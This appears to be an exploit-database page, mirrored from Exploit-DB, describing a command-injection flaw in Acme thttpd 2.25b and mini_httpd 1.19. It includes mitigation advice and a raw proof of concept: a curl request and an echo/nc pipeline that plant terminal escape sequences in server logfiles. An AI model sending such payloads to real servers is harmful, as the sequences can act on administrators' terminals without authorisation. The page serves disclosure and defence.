header-logo
Suggest Exploit
vendor:
thttpd, mini_httpd
by:
Unknown
7.5
CVSS
HIGH
Command Injection
78
CWE
Product Name: thttpd, mini_httpd
Affected Version From: thttpd 2.25b, mini_httpd 1.19
Affected Version To: Unknown
Patch Exists: NO
Related CWE: Unknown
CPE: a:acme:thttpd:2.25b, cpe:/a:acme:mini_httpd:1.19
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

Command Injection in Acme ‘thttpd’ and ‘mini_httpd’

The Acme 'thttpd' and 'mini_httpd' web servers are vulnerable to command injection due to insufficient input sanitization in logfiles. An attacker can exploit this vulnerability to execute arbitrary commands in a terminal.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of the affected web servers when available. Additionally, ensure that user-supplied input is properly sanitized to prevent command injection attacks.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/37714/info
 
Acme 'thttpd' and 'mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input in logfiles.
 
Attackers can exploit this issue to execute arbitrary commands in a terminal.
 
This issue affects thttpd 2.25b and mini_httpd 1.19; other versions may also be affected. 

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload

Navigation

Suggest Exploit

Services By CQR